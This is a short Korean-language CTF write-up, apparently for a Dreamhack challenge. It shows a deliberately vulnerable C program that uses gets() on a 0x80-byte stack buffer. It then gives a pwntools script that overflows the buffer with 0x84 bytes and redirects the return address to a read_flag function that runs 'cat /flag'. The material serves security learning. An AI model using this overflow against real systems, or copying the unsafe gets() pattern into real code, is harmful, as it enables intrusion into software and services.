songining

ํ”ผ๊ณคํ•œ๋ฐ ์—ด์‹ฌํžˆ ๋†€์•˜์œผ๋‹ˆ๊นŒ ์–‘์‹ฌ์ƒ ์ผ๋‹จ ํ•œ๋ฌธ์ œ ํ’€๊ณ ์ž๋ ค๊ตฌ,,,

 

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

 ํ™˜๊ฒฝ์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค. 

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    gets(buf);

    return 0;
}

์šฐ์„  ์†Œ์Šค์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค. 

gets๋กœ buf๋ฅผ ๋ฐ›์•„ stack buffer overflow๊ฐ€ ์กด์žฌํ•˜๋ฉฐ ๋‹คํ–‰ํžˆ read_flag๋ผ๋Š” flag๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ํ•จ์ˆ˜๋„ ์žˆ๋‹ค.  

์ฆ‰, ์šฐ๋ฆฌ๋Š” ret ํ˜ธ์ถœํ•˜๊ธฐ์ „ ๊ฐ’์„ ์•„๋ฌด ๋ฌธ์ž๋กœ ์ฑ„์šด ๋’ค ret ๊ฐ’์— read_flag์ฃผ์†Œ๋ฅผ ๋„ฃ์–ด ํ•ด๋‹น ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ํ•ด์ฃผ๋ฉด ๋  ๊ฒƒ ๊ฐ™๋‹ค!

 

gdb์— p read_flag๋ฅผ ํ•จ์œผ๋กœ์จ 0x80485b9 ๋ผ๋Š” ์ฃผ์†Œ๊ฐ’์„ ์–ป์„ ์ˆ˜ ์žˆ์—ˆ๋‹ค. 

buf ๊ฐ’์€ rbp-0x80์ด ์‹œ์ž‘ ์œ„์น˜์ด๋ฉฐ ret ์ „์ธ rbp +0x4 ๊นŒ์ง€, ์ฆ‰ 0x84๋งŒํผ ๊ฐ’์„ ๋ฎ์–ด์”Œ์›Œ์ฃผ๋ฉด ๋œ๋‹ค. 

๊ทธ๋ฆฌ๊ณ  ๋งˆ์ง€๋ง‰์— read_flag ์ฃผ์†Œ๊ฐ’์„ payload์— ์ถ”๊ฐ€ํ•˜์—ฌ ํ•ด๋‹น ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋˜๋„๋ก ํ•œ๋‹ค!!

๊ทธ๋ฆฌ๊ณ  ์šฐ๋ฆฐ p.recv๋ฅผ ํ†ตํ•ด flag ๊ฐ’์„ ๋ฐ›๋Š”๋‹ค. 

from pwn import *

p = remote('host1.dreamhack.games',15963) # ์›๊ฒฉ ์„œ๋ฒ„ ๋Œ€์ƒ์œผ๋กœ ์ต์Šคํ”Œ๋กœ์ž‡ ์ˆ˜ํ–‰
context.arch = "i386"  # x86 ์•„ํ‚คํ…์ฒ˜

#0x80485b9
payload = b"A" * 0x84
#payload += "\xb9\x85\x04\x08"
payload += p32(0x80485b9)

p.sendline(payload)

#p.interactive()
print(p.recv())